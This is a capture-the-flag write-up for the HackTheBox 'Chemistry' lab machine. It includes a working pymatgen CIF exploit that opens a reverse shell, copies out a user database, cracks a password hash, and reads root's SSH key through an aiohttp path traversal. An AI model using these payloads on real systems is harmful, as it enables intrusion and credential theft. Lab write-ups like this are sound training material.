HackTheBox Chemistry
Writeup for HackTheBox Chemistry
Machine Synopsis
Key exploitation techniques:
pymatgen
RCE (CVE-2024-23346) via CIF file processing- SQLite database extraction and hash cracking
aiohttp
Path Traversal (CVE-2024-23334)- Arbitrary file read for root SSH key
Enumeration
An nmap
scan identified SSH (22/tcp) and an HTTP server on port 5000
running Werkzeug httpd 3.0.3 (Python 3.9.5)
.
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.38
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home
Accessing http://10.10.11.38:5000
presented a “CIF Analyzer” website. User registration and login were available.
The site allowed uploading Crystallographic Information Files (CIF) and downloading an example.cif
.
1
2
3
4
5
❯ cat example.cif
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
...
Exploitation: Pymatgen RCE (CVE-2024-23346)
Researching “CIF exploit” or “pymatgen RCE” quickly revealed CVE-2024-23346, a critical vulnerability in the pymatgen
Python library affecting CIF file parsing, with a public Proof-of-Concept (PoC) available. The vulnerability allows arbitrary code execution via a specially crafted CIF file.
The provided PoC was adapted to include a reverse shell payload using os.system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ cat vuln.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.5/1234 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "%
A netcat
listener was set up on the attacker machine.
1
2
❯ nc -nlvp 1234
listening on [any] 1234 ...
The vuln.cif
file was uploaded via the CIF Analyzer website. Clicking “View” on the uploaded file triggered the RCE.
1
2
3
4
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.38] 48910
sh: 0: can't access tty; job control turned off
$ whoami
app
A shell was received as the app
user. A proper PTY shell was spawned for better interaction.
1
2
$ python3 -c "import pty;pty.spawn('/bin/bash')"
app@chemistry:~$
Lateral Movement: Database Credentials
The app
user shell was used to enumerate the filesystem for sensitive files.
SQLite Database Extraction
The instance
directory was found, containing database.db
.
1
2
3
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls
database.db
The database.db
file was identified as a SQLite database. Its content was initially observed as binary data when cat
ed directly.
1
2
app@chemistry:~/instance$ cat database.db
fKytableuseruserCREATE TABLE user (...); ...Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'...
To properly extract the data, the database was downloaded to the attacker machine.
1
2
3
4
5
# On target: Set up a temporary HTTP server or use a transfer tool
app@chemistry:~/instance$ python3 -m http.server 8888 &
# On attacker machine: Download the database
❯ wget http://10.10.11.38:8888/database.db -O database.db
The file was confirmed as a SQLite database.
1
2
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 111, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 111
The database was dumped to a human-readable format using sqlite3
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sqlite3 database.db .dump > database.dump
❯ cat database.dump
# ... (truncated)
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
# ... (truncated)
The database.dump
revealed several usernames and MD5-like password hashes. The hash for user rosa
was 63ed86ee9f624c7b14f1d4f43dc251a5
.
Hash Cracking & SSH Access
The hash for rosa
was cracked using an online service (e.g., CrackStation) or hashcat
.
1
2
3
4
# Using hashcat:
❯ echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa_hash.txt
❯ hashcat -a 0 -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
The password for rosa
was unicorniosrosados
.
SSH access was then established using these credentials.
1
2
3
4
5
6
❯ ssh rosa@10.10.11.38
rosa@10.10.11.38's password: unicorniosrosados
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
rosa@chemistry:~$ cat user.txt
cda063877762f1bb2f6da9f3f72ebd27
The user.txt
flag was retrieved.
Privilege Escalation: AioHTTP Path Traversal
Privilege escalation was pursued by examining rosa
’s permissions and running processes.
1
2
rosa@chemistry:~$ sudo -l
Sorry, user rosa may not run sudo on chemistry.
netstat -ano
revealed a service listening on 127.0.0.1:8080
.
1
2
3
4
rosa@chemistry:~$ netstat -ano
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
# ... (truncated)
curl
to localhost:8080
showed a “Site Monitoring” web application.
1
2
3
4
5
6
rosa@chemistry:~$ curl http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
<title>Site Monitoring</title>
# ... (HTML content)
Further curl -v
revealed the Server
header: Python/3.9 aiohttp/3.9.1
.
1
2
3
4
5
6
7
rosa@chemistry:~$ curl localhost:8080 -v
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Tue, 07 Jan 2025 02:51:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
# ...
Exploiting AioHTTP Path Traversal (CVE-2024-23334)
Researching aiohttp/3.9.1 exploit
identified CVE-2024-23334, a Path Traversal vulnerability allowing arbitrary file read through a specially crafted URL, specifically when serving static files. The vulnerability can be exploited by appending ../
sequences to access files outside the intended static directory.
A Python exploit script targeting this vulnerability was used. The script typically iterates through path traversal depths to find the correct file. The assets
directory was identified as a potential static file serving location from the HTML output.
1
2
rosa@chemistry:~$ nano exploit.py # Pasted exploit code from GitHub
rosa@chemistry:~$ chmod +x exploit.py
The exploit.py
script was executed from the rosa
shell to read /root/root.txt
. The base URL was http://localhost:8080
, and the static directory was /assets
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/root.txt -d /assets
[+] Attempt 0
Payload: /assets/../root/root.txt
Status code: 404
[+] Attempt 1
Payload: /assets/../../root/root.txt
Status code: 404
[+] Attempt 2
Payload: /assets/../../../root/root.txt
Status code: 200
Respose:
eee0bb6ffb142045dbe8caf5d324f463 # Contents of root.txt
Exploit complete
To gain persistent root access, the /root/.ssh/id_rsa
file was targeted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/.ssh/id_rsa -d /assets
[+] Attempt 0
Payload: /assets/../root/.ssh/id_rsa
Status code: 404
[+] Attempt 1
Payload: /assets/../../root/.ssh/id_rsa
Status code: 404
[+] Attempt 2
Payload: /assets/../../../root/.ssh/id_rsa
Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Exploit complete
The root SSH private key was successfully retrieved.
Side note: I had an error when trying to SSH with the private key obtained.
1 2 3 ❯ ssh root@10.10.11.38 -i id_rsa Load key "id_rsa": error in libcrypto root@10.10.11.38's password:Turns out you needed to add a trailing newline after
-----END OPENSSH PRIVATE KEY-----
to prevent this error.
1
2
3
4
5
6
❯ chmod 600 id_rsa # Set correct permissions for the private key
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
root@chemistry:~# whoami
root
Cleanup
To maintain operational security, any artifacts left on the system should be removed.
1
2
3
4
5
# On target machine (as root, if possible)
root@chemistry:~# rm /home/app/uploads/vuln.cif # Remove the initial malicious CIF file
root@chemistry:~# rm /home/app/instance/database.db # Consider if this was copied or if original should be left
# On attacker machine
❯ rm database.db rosa_hash.txt exploit.py id_rsa